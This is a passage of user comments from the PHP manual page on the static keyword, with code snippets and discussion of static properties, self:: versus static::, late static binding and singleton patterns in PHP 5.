In order to define a __destruct function (which is definitely called) we create a new instance in the init() function and define a destruct() function (which is called from the 'real' one):

<?php

class B
{
  static private $autoSave;
  static public function init($autoSave)
  {
    /* emulating __construct() */
    self::$autoSave = $autoSave;
    new B();
  }
  static public function destruct()
  {
    if (self::$autoSave)
      self::save();
  }
  public function __destruct()
  {
    B::destruct();
  }
}

?>
payal001 at gmail dot com 09-Jul-2011 03:17
Here statically accessed property prefer property of the class for which it is called. Where as self keyword enforces use of current class only. Refer the below example:

<?php
class a{

static protected $test="class a";

public function static_test(){

echo static::$test; // Results class b
echo self::$test; // Results class a

}

}

class b extends a{

static protected $test="class b";

}

$obj = new b();
$obj->static_test();
?>
gratcypalma at gmail dot om 18-Apr-2011 11:50
<?php
class foo {
    private static $getInitial;

    public static function getInitial() {
        if (self::$getInitial == null)
            self::$getInitial = new foo();
        return self::$getInitial;
    }
}

foo::getInitial();

/*
this is the example to use new class with static method..
i hope it help
*/

?>
jeroen at simonetti dot nl 04-Apr-2011 02:27
accessing a non-existing static property will result in an E_ERROR message.

You can check wether a property exists with the 'defined' function.

Example:

<?php

class a {
  static $test;

  function set($name) {
    if (defined(self::$$name)) echo "$name is defined";
    else echo "$name is not defined";
  }

}

a::set('test');
a::set('test2');

?>
will output:
test is defined
test2 is not defined
tolean_dj at yahoo dot com 11-Dec-2010 05:09
Starting with php 5.3 you can get use of new features of static keyword. Here's an example of abstract singleton class:

<?php

abstract class Singleton {

    protected static $_instance = NULL;

    /**
     * Prevent direct object creation
     */
    final private function  __construct() { }

    /**
     * Prevent object cloning
     */
    final private function  __clone() { }

    /**
     * Returns new or existing Singleton instance
     * @return Singleton
     */
    final public static function getInstance(){
        if(null !== static::$_instance){
            return static::$_instance;
        }
        static::$_instance = new static();
        return static::$_instance;
    }

}
?>
Mirco 23-Aug-2010 10:16
The simplest static constructor.

Because php does not have a static constructor and you may want to initialize static class vars, there is one easy way, just call your own function directly after the class definition.

for example.

<?php
function Demonstration()
{
    return 'This is the result of demonstration()';
}

class MyStaticClass
{
    //public static $MyStaticVar = Demonstration(); //!!! FAILS: syntax error
    public static $MyStaticVar = null;

    public static function MyStaticInit()
    {
        //this is the static constructor
        //because in a function, everything is allowed, including initializing using other functions

        self::$MyStaticVar = Demonstration();
    }
} MyStaticClass::MyStaticInit(); //Call the static constructor

echo MyStaticClass::$MyStaticVar;
//This is the result of demonstration()
?>
Anonymous 28-Jun-2010 06:49
I can't find anything in the PHP manual about this, but the new-ish E_STRICT error reporting will complain if an inherited class overrides a static method with a different call signature (usually a parameter list). Ironically, it seems to only be a problem of 'coding style' because the code works correctly and has done for quite a few versions.

The exact error is "Strict Standards: Declaration of [child-class]::[method]() should be compatible with that of [parent-class]::[method]()".

So if you must code with E_STRICT enabled, you need to rename the method name.

Google shows that this is biting *a lot* of people. (Bugs have been filed, but there has been no response yet.)
myselfasunder at gmail dot com 13-Apr-2010 09:42
If you inadvertently call a non-static method in one class from another class, using $this in the former will actually refer to the wrong class.

<?php
class CalledClass
{
    function go()
    {

        print(get_class($this) . "\n");

        return true;
    }
}

class CallerClass
{
    function go()
    {

        CalledClass::Go();

        return true;
    }
}

$obj = new CallerClass();
$obj->go();

// Output is "CallerClass" instead of "CalledClass" like it should be.
?>

Dustin Oprea
webmaster at removethis dot weird-webdesign dot de 25-Feb-2010 01:38
On PHP 5.2.x or previous you might run into problems initializing static variables in subclasses due to the lack of late static binding:

<?php
class A {
    protected static $a;

    public static function init($value) { self::$a = $value; }
    public static function getA() { return self::$a; }
}

class B extends A {
    protected static $a; // redefine $a for own use

    // inherit the init() method
    public static function getA() { return self::$a; }
}

B::init('lala');
echo 'A::$a = '.A::getA().'; B::$a = '.B::getA();
?>

This will output:
A::$a = lala; B::$a =

If the init() method looks the same for (almost) all subclasses there should be no need to implement init() in every subclass and by that producing redundant code.

Solution 1:
Turn everything into non-static. BUT: This would produce redundant data on every object of the class.

Solution 2:
Turn static $a on class A into an array, use classnames of subclasses as indeces. By doing so you also don't have to redefine $a for the subclasses and the superclass' $a can be private.

Short example on a DataRecord class without error checking:

<?php
abstract class DataRecord {
    private static $db; // MySQLi-Connection, same for all subclasses
    private static $table = array(); // Array of tables for subclasses

    public static function init($classname, $table, $db = false) {
        if (!($db === false)) self::$db = $db;
        self::$table[$classname] = $table;
    }

    public static function getDB() { return self::$db; }
    public static function getTable($classname) { return self::$table[$classname]; }
}

class UserDataRecord extends DataRecord {
    public static function fetchFromDB() {
        $result = parent::getDB()->query('select * from '.parent::getTable('UserDataRecord').';');

        // and so on ...
        return $result; // An array of UserDataRecord objects
    }
}

$db = new MySQLi(...);
UserDataRecord::init('UserDataRecord', 'users', $db);
$users = UserDataRecord::fetchFromDB();
?>

I hope this helps some people who need to operate on PHP 5.2.x servers for some reason. Late static binding, of course, makes this workaround obsolete.
valentin at balt dot name 26-Jan-2010 07:46
How to implement a one storage place based on static properties.

<?php
class a {

    public function get () {
        echo $this->connect();
    }
}
class b extends a {
    private static $a;

    public function connect() {
        return self::$a = 'b';
    }
}
class c extends a {
    private static $a;

    public function connect() {
        return self::$a = 'c';
    }
}
$b = new b ();
$c = new c ();

$b->get();
$c->get();
?>
Jay Cain 18-Dec-2009 02:45
Regarding the initialization of complex static variables in a class, you can emulate a static constructor by creating a static function named something like init() and calling it immediately after the class definition.

<?php
class Example {
    private static $a = "Hello";
    private static $b;

    public static function init() {
        self::$b = self::$a . " World!";
    }
}
Example::init();
?>
maximark at libero dot it 08-Dec-2009 09:34
<?php
// USING the same method in an instance and in a static context
// If you want to have the same definition of a method that you
// want to use both as static and as instance method, a classname control of $this
// variable is needed. This tip can be used wether the caller context is not the same class type
class A
{
    private $myProp = 'A';

    public function myMethodA()
    {
        if(isset($this) && get_class($this) == __CLASS__)
            return $this->myProp;
        return 'C';
    }
}
class B
{
    public $myProp = 'B';

    public function myMethodB()
    {
        $a = new A;
        return $a->myMethodA().'  ++++ '.A::myMethodA();
    }
}
$b = new B();
echo $b->myMethodB(); // output: A ++++ C

// NOTE:
// if you don't verify "&& get_class($this) == __CLASS__"
// it will output A ++++ B, it seems that if a method is not marked as "static"
// its scope would be the scope in which the function was called
?>
Stratadrake 13-Nov-2009 12:24
When a method is declared as static, not only is the magic variable $this unavailable (returns NULL), but it is impossible to tell if the function was actually called from a static context.  A backtrace implies that for a static method, calling $object->method() is internally translated to className::method() at run time.

<?php
class Foo
{
  static function bar()
  {
    var_dump(reset(debug_backtrace()));
  }
}

$foo = new Foo();

$foo->baz();
Foo::baz();
// Output in either case resembles this:
// array(3)
// {
//   'file' => .....
//   'line => .....
//   'function' => string(3) 'baz'
//   'class' => string(3) 'Foo'
//   'type' => string(2) '::'
// }
?>
sep16 at psu dot edu 10-Jul-2009 12:32
I find having class variables useful for inherited classes, especially when inheriting abstract classes, yet self:: doesn't refer to the class calling the method, rather the actual class in which it was defined.  Although it is less memory efficient, this can be circumvented with instance properties, but sometimes even this won't work, i.e., when using resources like class-wide database or prepared statement handles.

The pre-5.3.0 way that I used to get around this limitation was to write a class that stores a central value and sets instance properties as references to this value.  In this way objects can have access to the same value while still being able to use inherited methods that reference this property.

Usage example:
<?php // (SharedPropertyClass is defined below)
class Foo extends SharedPropertyClass {
    public $foo = "bar";
    public function showFoo() {
        echo $this->foo, "\n";
    }
}
class FooToo extends Foo {
    public function __construct() {
        $this->makeShared('foo');
    }
}

$ojjo = new FooToo;
$ojjo->showFoo(); // "bar"

$xjjx = new FooToo;
$xjjx->showFoo(); // "bar"

$ojjo->foo = "new";
$ojjo->showFoo(); // "new"
$xjjx->showFoo(); // "new"
?>

Notice how the showFoo() method, while defined in the parent class, correctly uses the child class's "foo" property (unlike self:: would), and how the "foo" property is shared by all instances of FooToo objects (like a static property).  This is essentially how the new static:: keyword will work, and how most people probably expected the self:: keyword to work.

<?php
// ---------------------------------------------------------------
abstract class SharedPropertyClass {
// ---------------------------------------------------------------
/*
    Shared properties should be declared as such in the
    constructor function of the inheriting class.

    The first instance will have the shared property set to
    the value in the class definition, if any, otherwise null.
    All subsequent instances will also have their shared
    property set as a reference to that variable.

*/
    private static $shared = array();
    public function makeShared($property) {
        $class = get_class($this);
        if (!property_exists($this,$property))
            trigger_error("Access to undeclared property "
            . "'$property' in class $class.",E_USER_ERROR);
        if (!array_key_exists($class,self::$shared))
            self::$shared[$class] = array();
        if (!array_key_exists($property,self::$shared[$class]))
            self::$shared[$class][$property]
                = isset($this->$property)
                ? $this->$property
                : null;
        $this->$property =& self::$shared[$class][$property];
    }
    public function isShared($property) {
        $class = get_class($this);
        if (!property_exists($this,$property))
            trigger_error("Access to undeclared property "
            . "'$property' in class $class.",E_USER_ERROR);
        return array_key_exists($class,self::$shared)
            && array_key_exists($property, self::$shared[$class]);
    }
}
?>
davidn at xnet dot co dot nz 17-Mar-2009 04:56
Static variables are shared between sub classes

<?php
class MyParent {

    protected static $variable;
}

class Child1 extends MyParent {

    function set() {

        self::$variable = 2;
    }
}

class Child2 extends MyParent {

    function show() {

        echo(self::$variable);
    }
}

$c1 = new Child1();
$c1->set();
$c2 = new Child2();
$c2->show(); // prints 2
?>
yesmarklapointe at hotmail dot com 21-Jan-2009 11:19
<?php
// experiments with static
// tested on PHP 5.2.6  on 1-21-09

class User{
    const GIVEN = 1;  // class constants can't be labeled static nor assigned visibility
    public $a=2;
    public static $b=3;

    public function me(){
        echo "print me";
    }
     public static function you() {
        echo "print you";
    }
}

class myUser extends User {
}

// Are properties and methods instantiated to an object of a class, & are they accessible?
//$object1= new User();        // uncomment this line with each of the following lines individually
//echo $object1->GIVEN . "</br>";        // yields nothing
//echo $object1->GIVE . "</br>";        //  deliberately misnamed, still yields nothing
//echo $object1->User::GIVEN . "</br>";    // yields nothing
//echo $object1->a . "</br>";        // yields 2
//echo $object1->b . "</br>";        // yields nothing
//echo $object1->me() . "</br>";        // yields print me
//echo $object1->you() . "</br>";        // yields print you

// Are  properties and methods instantiated to an object of a child class,  & are accessible?
//$object2= new myUser();        // uncomment this line with each of the following lines individually
//echo $object2->GIVEN . "</br>";        // yields nothing
//echo $object2->a . "</br>";        // yields 2
//echo $object2->b . "</br>";        // yields nothing
//echo $object2->me() . "</br>";        // yields print me
//echo $object2->you() . "</br>";        // yields print you

// Are the properties and methods accessible directly in the class?
//echo User::GIVEN . "</br>";        // yields 1
//echo User::$a . "</br>";            // yields fatal error since it is not static
//echo User::$b . "</br>";            // yields 3
//echo User::me() . "</br>";        // yields print me
//echo User::you() . "</br>";        // yields print you

// Are the properties and methods copied to the child class and are they accessible?
//echo myUser::GIVEN . "</br>";        // yields 1
//echo myUser::$a . "</br>";        // yields fatal error since it is not static
//echo myUser::$b . "</br>";        // yields 3
//echo myUser::me() . "</br>";        // yields print me
//echo myUser::you() . "</br>";        // yields print you
?>
zerocool at gameinsde dot ru 20-Oct-2008 01:06
Hi, here's my simple Singleton example, i think it can be useful for someone. You can use this pattern to connect to the database for example.

<?php

  class MySingleton
  {
    private static $instance = null;

    private function __construct()
    {
      $this-> name = 'Freddy';

    }

    public static function getInstance()
    {
      if(self::$instance == null)
      {
        print "Object created!<br>";
        self::$instance = new self;

      }

      return self::$instance;

    }

    public function sayHello()
    {
      print "Hello my name is {$this-> name}!<br>";

    }

    public function setName($name)
    {
      $this-> name = $name;

    }

  }

  //

  $objA = MySingleton::getInstance(); // Object created!

  $objA-> sayHello(); // Hello my name is Freddy!

  $objA-> setName("Alex");

  $objA-> sayHello(); // Hello my name is Alex!

  $objB = MySingleton::getInstance();

  $objB-> sayHello(); // Hello my name is Alex!

  $objB-> setName("Bob");

  $objA-> sayHello(); // Hello my name is Bob!

?>
wbcarts at juno dot com 18-Oct-2008 10:24
[NB: This is a copy of the note by juno dot com on 11-Sep-2008 04:53, but with syntax highlighting.]

A CLASS WITH MEAT ON IT'S BONES...

I have yet to see an example that I can really get my chops into. So I am offering an example that I hope will satisfy most of us.

<?php

class RubberBall
{
  /*
   * ALLOW these properties to be inherited TO extending classes - that's
   * why they're not private.
   *
   * DO NOT ALLOW outside code to access with 'RubberBall::$property_name' -
   * that's why they're not public.
   *
   * Outside code should use:
   *  - RubberBall::getCount()
   *  - RubberBall::setStart()
   * These are the only routines outside code can use - very limited indeed.
   *
   * Inside code has unlimited access by using self::$property_name.
   *
   * All RubberBall instances will share a "single copy" of these properties - that's
   * why they're static.
   */
  protected static $count = 0;
  protected static $start = 1;
  protected static $colors = array('red','yellow','blue','orange', 'green', 'white');
  protected static $sizes = array(4, 6, 8, 10, 12, 16);

  public $name;
  public $color;
  public $size;

  public function __construct(){
    $this->name = 'RB_' . self::$start++;
    $this->color = (int) rand(0, 5);
    $this->size = self::$sizes[(int) rand(0, 5)];
    self::$count++;
  }

  public static function getCount(){
    return self::$count;
  }

  public static function setStart($val){
    self::$start = $val;
  }

  /*
   * Define the sorting rules for RubberBalls - which is to sort by self::$colors.
   * PHP's usort() method will call this function many many times.
   */
  public static function compare($a, $b){
    if($a->color < $b->color) return -1;
    else if($a->color == $b->color) return 0;
    else return 1;
  }

  public function __toString(){
    return "RubberBall[
      name=$this->name,
      color=" . self::$colors[$this->color] . ",
      size=" . $this->size . "\"]";
  }
}

# RubberBall counts the number of objects created, but allows us to
# set the starting count like so:
RubberBall::setStart(100);

# create a PHP Array and initialize it with (12) RubberBall objects
$balls = array();
for($i = 0; $i < 12; $i++) $balls[] = new RubberBall();

# sort the RubberBall objects. PHP's usort() calls RubberBall::compare() to do this.
usort($balls, array("RubberBall", "compare"));

# print the sorted results - uses the static RubberBall::getCount().
echo 'RubberBall count: ' . RubberBall::getCount() . '<br><br>';
foreach($balls as $ball) echo $ball . '<br>';

?>

I'm running out of room so I have not displayed the output, but it is tested and it works great.
vvikramraj at yahoo dot com 23-Sep-2008 03:24
when attempting to implement a singleton class, one might also want to either
a) disable __clone by making it private
b) bash the user who attempts to clone by defining __clone to throw an exception
wbcarts at juno dot com 10-Sep-2008 08:53
A CLASS WITH MEAT ON IT'S BONES...

I have yet to see an example that I can really get my chops into. So I am offering an example that I hope will satisfy most of us.

class RubberBall
{
  /*
   * ALLOW these properties to be inherited TO extending classes - that's
   * why they're not private.
   *
   * DO NOT ALLOW outside code to access with 'RubberBall::$property_name' -
   * that's why they're not public.
   *
   * Outside code should use:
   *  - RubberBall::getCount()
   *  - RubberBall::setStart()
   * These are the only routines outside code can use - very limited indeed.
   *
   * Inside code has unlimited access by using self::$property_name.
   *
   * All RubberBall instances will share a "single copy" of these properties - that's
   * why they're static.
   */
  protected static $count = 0;
  protected static $start = 1;
  protected static $colors = array('red','yellow','blue','orange', 'green', 'white');
  protected static $sizes = array(4, 6, 8, 10, 12, 16);

  public $name;
  public $color;
  public $size;

  public function __construct(){
    $this->name = 'RB_' . self::$start++;
    $this->color = (int) rand(0, 5);
    $this->size = self::$sizes[(int) rand(0, 5)];
    self::$count++;
  }

  public static function getCount(){
    return self::$count;
  }

  public static function setStart($val){
    self::$start = $val;
  }

  /*
   * Define the sorting rules for RubberBalls - which is to sort by self::$colors.
   * PHP's usort() method will call this function many many times.
   */
  public static function compare($a, $b){
    if($a->color < $b->color) return -1;
    else if($a->color == $b->color) return 0;
    else return 1;
  }

  public function __toString(){
    return "RubberBall[
      name=$this->name,
      color=" . self::$colors[$this->color] . ",
      size=" . $this->size . "\"]";
  }
}

# RubberBall counts the number of objects created, but allows us to
# set the starting count like so:
RubberBall::setStart(100);

# create a PHP Array and initialize it with (12) RubberBall objects
$balls = array();
for($i = 0; $i < 12; $i++) $balls[] = new RubberBall();

# sort the RubberBall objects. PHP's usort() calls RubberBall::compare() to do this.
usort($balls, array("RubberBall", "compare"));

# print the sorted results - uses the static RubberBall::getCount().
echo 'RubberBall count: ' . RubberBall::getCount() . '<br><br>';
foreach($balls as $ball) echo $ball . '<br>';

I'm running out of room so I have not displayed the output, but it is tested and it works great.
Mathijs Vos 23-Aug-2008 03:53
<?php
class foo
{
    public static $myStaticClass;

    public function __construct()
    {
        self::myStaticClass = new bar();
    }
}

class bar
{
        public function __construct(){}
}
?>

Please note, this won't work.
Use self::$myStaticClass = new bar(); instead of self::myStaticClass = new bar(); (note the $ sign).
Took me an hour to figure this out.
nacion_01 at hotmail dot com 22-Aug-2008 09:38
Thanks to all of you, this is my little contribution, i hope it give you ideas:

The next script uses a class Logs to store and show the logs. You can show the last logs of your scripts. You can:
 - push ("a new log")
 - show () // the last logs until the las call to show()
 - showAll() // to show all the logs and
 - message("a forced message") // which sends a message to the log output with out storing the message (you may imagine other solutions)

<?php
class Logs{
    // this makes this thing to be hidden from outside calls [private]
    private static $logs=array("start");
    private static $index=0;

    // this is available for outside calls [public]
    public static function getLogsCount(){
        // the constant "self" refers to the class, instead $this wich
        // refers to an instance of a class (this class is not instanced,
        // its running itself, so lets use "self" and "::" to access the
        // "static" functions and properties.
        $count=count(self::$logs);
        return $count;
    }
    public static function show(){
        //echo ("# Logs::show ".self::getLogsCount());
        $count=self::getLogsCount();
        // start the show since the last log shown ($index)
        for ($i=self::$index; $i<$count;$i++){
            $log=self::$logs[$i];
            self::message($log);
        }
        // update the las log shown index
        self::$index=$i;
    }
    public static function showAll(){
        //echo ("# Logs::show ".self::getLogsCount());
        // show the logs from cero to last
        // im starting with php so I use for (...) because its my
        // way in AS3.0 but you better keep checking that
        $count=self::getLogsCount();
        for ($i=0; $i<$count;$i++){
            $log=self::$logs[$i];
            self::message($log);
        }
    }
    // Yup! a new log!
    public static function push($msg){
        //self::message("# Logs::push ");
        array_push(self::$logs, $msg);
    }
    // Send a message to the html output.
    // Now, a little words about this one, you may want to use an
    // special button on your html or somewhere else to show or hide the
    // logs, because you are in development and want to keep this thing
    // little hidden of your clients. Probably may generate a java script
    // variable so instead of [echo "<p>...</p>";] is ok to
    // use [echo "<script>logs+=$msg</script>"]
    // I dont know, figure it out.

    public function message($msg){
        echo "<p>- Logs &gt; $msg </p>";
    }
}
// Ready to use.
// to call a function in an static class, refer to the function as
// TheClass::theFunction
// remember, php uses :: (sorry, I still learning why because I come from the AS3 world)

Logs::push("log1");
Logs::show();

Logs::push("log2");
Logs::show();

Logs::push("log3");
Logs::showAll();

?>
michaelnospamdotnospamdaly at kayakwiki 13-Jul-2008 06:59
Further to the comment by "erikzoltan NOSPAM at msn NOSPAM dot com" on 05-Apr-2005 03:40,

It isn't just constructors that can't be used for static variable initialization, it's functions in general:

class XYZ
{
   static  $foo = chr(1);   // will fail
}

You have to do external initialization:

XYZ::$foo = chr(1);
class XYZ
{
   static  $foo;
}
Siarhei 04-Mar-2008 05:25
There is a problem to make static property shared only for objects of self class not defining it in every child class.

Example:

class a
{
  public static $s;

  public function get()
  {
    return self::$s;
  }
}

class b extends a { }

class c extends b { }

a::$s = 'a';

$c = new c();
echo $c->get(); // a

There is solution i found:

class a
{
  public final function v($vs = null)
  {
    static $s = null;

    if(!is_null($vs))
    $s = $vs;

    return $s;
  }
}

class b extends a { }

class c extends b { }

$a = new a();
$a->v('a');

$aa = new a();
$aa->v('last a');

$c = new c();
$c->v('c');

echo $a->v().' - '.$c->v(); // last a - c
inkredibl 28-Jan-2008 12:27
Note that you should read "Variables/Variable scope" if you are looking for static keyword use for declaring static variables inside functions (or methods). I myself had this gap in my PHP knowledge until recently and had to google to find this out. I think this page should have a "See also" link to static function variables.
http://www.php.net/manual/en/language.variables.scope.php
ssj dot narutovash at gmail dot com 01-Jan-2008 08:48
It's come to my attention that you cannot use a static member in an HEREDOC string.  The following code

class A
{
  public static $BLAH = "user";

  function __construct()
  {
    echo <<<EOD
<h1>Hello {self::$BLAH}</h1>
EOD;
  }
}

$blah = new A();

produces this in the source code:

<h1>Hello {self::}</h1>

Solution:

before using a static member, store it in a local variable, like so:

class B
{
  public static $BLAH = "user";

  function __construct()
  {
    $blah = self::$BLAH;
    echo <<<EOD
<h1>Hello {$blah}</h1>
EOD;
  }
}

and the output's source code will be:

<h1>Hello user</h1>
gabe at mudbugmedia dot com 16-Oct-2007 06:55
Currently, inheritance with static methods can be a difficult matter, mainly because the 'self' keyword refers the exact class in which the reference is present, much like __CLASS__.  Thus, in a case like the following:

<?php

class A {
    static function foo () {
        echo "A::foo()";
    }

    static function callFoo () {
        self::foo();
    }
}

class B extends A {
    static function foo () {
        echo "B::foo()";
    }
}

B::callFoo();

?>

Will output 'A::foo()' instead of 'B::foo()'.  As of 5.2 and below, there is no clean way to get around this.  get_class(), self, __CLASS__, and even the stack (examined by debug_backtrace()) will all report the appropriate class as being 'A', which is resolved before being called.  There is no sane way, short of determining the filename and line of code from debug_backtrace, re-opening the file, and parsing that out yourself (this kludge is left as an exercise to only the most demented developer).  This setup makes it extremely difficult to develop an ORM like ActiveRecord in PHP.

You'll see some rather ugly solutions below, including passing the class name to callFoo().  Another possible route is to skip static calls all together and make a function that returns an instance of the object, thus allowing you to gain access to the '$this' variable (which *will* know the class name that was originally being called):

<?php
class A {
    static function foo () {
        echo "A::foo()";
    }

    static function callFoo () {
        $this->foo();
    }
}

class B extends A {
    static function foo () {
        echo "B::foo()";
    }
}

function getB () { return new B(); }

getB()->callFoo();

?>

Luckily, a work around has been committed to PHP's HEAD, and should be available in the 5.3 series.  The concept is called "late static binding" (LSB), and can be read about at http://www.colder.ch/news/08-24-2007/28/late-static-bindings-expl.html .  Basically, you'd have the exact same setup in as in the first example, but instead of calling "self::foo()", you instead would call "static::foo()".
Clment Genzmer 09-Aug-2007 01:54
The best solution I found for the non-inherited static problem : pass the name of the class.

<?php

class A {

    public static $my_vars = "I'm in A";

    static function find($class) {
         $vars = get_class_vars($class) ;
         echo $vars['my_vars'] ;
    }
}
class B extends A {
     public static $my_vars = "I'm in B";
}

B::find("B");
// Result : "I'm in B"
?>
james at earthemergency dot org 12-Oct-2006 04:36
One way to get around the fact that static variables are shared throughout the inheritance tree to map a instance variable to a global variable named after the class.

<?php
$GLOBALS['static'] = array();
class root {
  public $self;
  public static $all_instances;

  function __construct() {
    $this->self = &$GLOBALS['static'][get_class($this)];
    $this->self['instances'] += 1;
    self::$all_instances     += 1;
  }
}

class child_a extends root {
}

class child_b extends root {
}

$a1 = new child_a();
$a2 = new child_a();
$a3 = new child_a();

$b1 = new child_b();
$b2 = new child_b();

echo "child_a instances: " . $a3->self['instances'] . " | all_instances: " . child_a::$all_instances . "\n";
echo "child_b instances: " . $b2->self['instances'] . " | all_instances: " . child_b::$all_instances . "\n";

echo "\$GLOBALS['static'] = ";
var_dump($GLOBALS['static']);
?>

// Output:
child_a instances: 3 | all_instances: 5
child_b instances: 2 | all_instances: 5
$GLOBALS['static'] = array(2) {
  ["child_a"]=>
  &array(1) {
    ["instances"]=>
    int(3)
  }
  ["child_b"]=>
  &array(1) {
    ["instances"]=>
    int(2)
  }
}
jan(dot)-re-mov.ethis-mazanek/AT-abeo.cz 19-Sep-2006 11:42
This reacts to comment from
michael at digitalgnosis dot removethis dot com from 16-Dec-2004 08:09

> Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

In my test on Windows PHP Version 5.1.4 it seems that it *is possible* to override static method.

This code works at my machine without producing E_STRICT error:
<?php
class Base
{
   static function Foo ( $class = __CLASS__ )
   {
       call_user_func(array($class,'Bar'));
   }
}

class Derived extends Base
{
   static function Foo ( $class = __CLASS__ )
   {
       parent::Foo($class);
   }

   static function Bar ()
   {
       echo "Derived::Bar()";
   }
}

Derived::Foo(); // This time it works.
?>
Jakob Schwendner 04-Nov-2005 01:17
Here is my solution to the static search method problem for data objects. I found the debug_trace version posted earlier quite clever, but a little too risky.

<?php
class Foo {
    static function find($class) {
        $obj = new $class();
        return $obj;
    }
}

class Bar extends Foo {
    static function find() {
        return parent::find(__CLASS__);
    }

    function print_hello() {
        echo("hello");
    }
}

Bar::find()->print_hello();
?>
aidan at php dot net 04-May-2005 07:14
To check if a function was called statically or not, you'll need to do:

<?php
function foo () {
    $isStatic = !(isset($this) && get_class($this) == __CLASS__);
}
?>

More at (http://blog.phpdoc.info/archives/4-Schizophrenic-Methods.html).

(I'll add this to the manual soon).
06-Apr-2005 03:14
You misunderstand the meaning of inheritance : there is no duplication of members when you inherit from a base class. Members are shared through inheritance, and can be accessed by derived classes according to visibility (public, protected, private).

The difference between static and non static members is only that a non static member is tied to an instance of a class although a static member is tied to the class, and not to a particular instance.
That is, a static member is shared by all instances of a class although a non static member exists for each instance of  class.

Thus, in your example, the static property has the correct value, according to principles of object oriented conception.
class Base
{
  public $a;
  public static $b;
}

class Derived extends Base
{
  public function __construct()
  {
    $this->a = 0;
    parent::$b = 0;
  }
  public function f()
  {
    $this->a++;
    parent::$b++;
  }
}

$i1 = new Derived;
$i2 = new Derived;

$i1->f();
echo $i1->a, ' ', Derived::$b, "\n";
$i2->f();
echo $i2->a, ' ', Derived::$b, "\n";

outputs
1 1
1 2
erikzoltan NOSPAM at msn NOSPAM dot com 05-Apr-2005 05:50
I was doing this in a more complex example (than previous note) and found that I had to place the initialization statement AFTER the class in a file where I was using the __autoload function.
erikzoltan NOSPAM at msn NOSPAM dot com 05-Apr-2005 03:40
I had trouble getting a static member to be an instance of a class.  Here's a code example that DOESN'T work.

<?php

// This doesn't work.

class XYZ
{
    // The following line will throw a syntax error.
    public static $ABC = new ABC();
}

class ABC
{
}

$myXyz = new XYZ();
var_dump($myXyz);
var_dump(XYZ::$ABC);

?>

I get the following entry in my error log.

[05-Apr-2005 18:27:41] PHP Parse error: syntax error, unexpected T_NEW in staticTest.php on line 7

Since PHP doesn't appear to allow static constructor methods, I was only able to resolve this problem by moving the initialization outside of the class.  To make my code more self-documenting I put it above the class.  The revised example below appears to work.

<?php

// This will work.

// Moved the static variable's initialization logic outside the class.
XYZ::$ABC = new ABC();

class XYZ
{
    // I'm just declaring the static variable here, but I'm not initializing it.
    public static $ABC;
}

class ABC
{
}

$myXyz = new XYZ();
var_dump($myXyz);
var_dump(XYZ::$ABC);

?>
michalf at ncac dot torun dot pl 31-Mar-2005 02:42
Inheritance with the static elements is a nightmare in php. Consider the following code:

<?php
class BaseClass{
    public static $property;
}

class DerivedClassOne extends BaseClass{
}

class DerivedClassTwo extends BaseClass{
}

DerivedClassOne::$property = "foo";
DerivedClassTwo::$property = "bar";

echo DerivedClassOne::$property; //one would naively expect "foo"...
?>

What would you expect as an output? "foo"? wrong. It is "bar"!!! Static variables are not inherited, they point to the BaseClass::$property.

At this point I think it is a big pity inheritance does not work in case of static variables/methods. Keep this in mind and save your time when debugging.

best regards - michal
c_daught_d at earthlink dot net 14-Jan-2005 01:57
A twist on christian at koch dot net's Singleton example is setting/getting non-static member variables using self::$instance->varname within static method calls.

Within the modified Singleton class below, the member variable $value is set within the getInstance static method instead of the constructor.

Whether this is "pure" OPP, I don't know. But it does work, is worth mentioning, and could be usefull.

class Singleton
{

    private static $instance=null;
    private $value=null;

    private function __construct() {
    }

    public static function getInstance() {
        if ( self::$instance == null ) {
            echo "<br>new<br>";
            self::$instance = new Singleton("values");
            self::$instance->value = "values";
        }
        else {
            echo "<br>old<br>";
        }

        return self::$instance;
    }
}
ference at super_delete_brose dot co dot uk 14-Jan-2005 07:11
Both static and const fields can be accessed with the :: operator. However, while a constant can't be changed, this is not true for static variables.

If you want to access an array using the :: operator you have to declare the array static, since you can't have a constant array. Beware:

<?php
class foo
{
  static $stuff = array('key1' => 1, 'key2' => 2);
}

class bar
{
  public function __construct()
  {
    var_dump(foo::$stuff);
  }
}

class bad
{
  public function __construct()
  {
    foo::$stuff = FALSE;
  }
}

new bar();    // prints array(2) { ["key1"]=> int(1) ["key2"]=> int(2) }

new bad();
new bar();    // prints bool(false)
?>

A safe implementation requires a little more effort:

<?php
class foo
{
  private static $stuff = array('key1' => 1, 'key2' => 2);

  public final static function getstuff()
  {
    return self::$stuff;
  }
}

class bar
{
  public function __construct()
  {
    var_dump(foo::getstuff());
  }
}

class bad
{
  public function __construct()
  {
    foo::$stuff = FALSE;
  }
}

new bar();    // prints array(2) { ["key1"]=> int(1) ["key2"]=> int(2) }
new bad();    // results in a fatal error
?>
michael at digitalgnosis dot removethis dot com 15-Dec-2004 11:41
Here's another way to do the same thing (see my post below) without having to muck up your Foo() function's parameters in the Base and all Derived classes.

However, you cannot use static, and still must define Foo() in derived classes.  This way also performs slower and may not always work--but it DOES make for prettier code.

<?php

class Base
{
    function Foo ()
    {
        $call = debug_backtrace();
        call_user_func(array($call[1]['class'],'Bar'));
    }
}

class Derived extends Base
{
    function Foo () { parent::Foo(); }

    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo();

?>
michael at digitalgnosis dot removethis dot com 15-Dec-2004 11:09
If you are trying to write classes that do this:

<?php

class Base
{
    static function Foo ()
    {
        self::Bar();
    }
}

class Derived extends Base
{
    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // we want this to print "Derived::Bar()"

?>

Then you'll find that PHP can't (unless somebody knows the Right Way?) since 'self::' refers to the class which owns the /code/, not the actual class which is called at runtime. (__CLASS__ doesn't work either, because: A. it cannot appear before ::, and B. it behaves like 'self')

But if you must, then here's a (only slightly nasty) workaround:

<?php

class Base
{
    function Foo ( $class = __CLASS__ )
    {
        call_user_func(array($class,'Bar'));
    }
}

class Derived extends Base
{
    function Foo ( $class = __CLASS__ )
    {
        parent::Foo($class);
    }

    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // This time it works.

?>

Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

If Foo() takes parameters then list them before $class=__CLASS__ and in most cases, you can just forget about that parameter throughout your code.

The major caveat is, of course, that you must override Foo() in every subclass and must always include the $class parameter when calling parent::Foo().
christian at koch dot net 16-Nov-2004 09:10
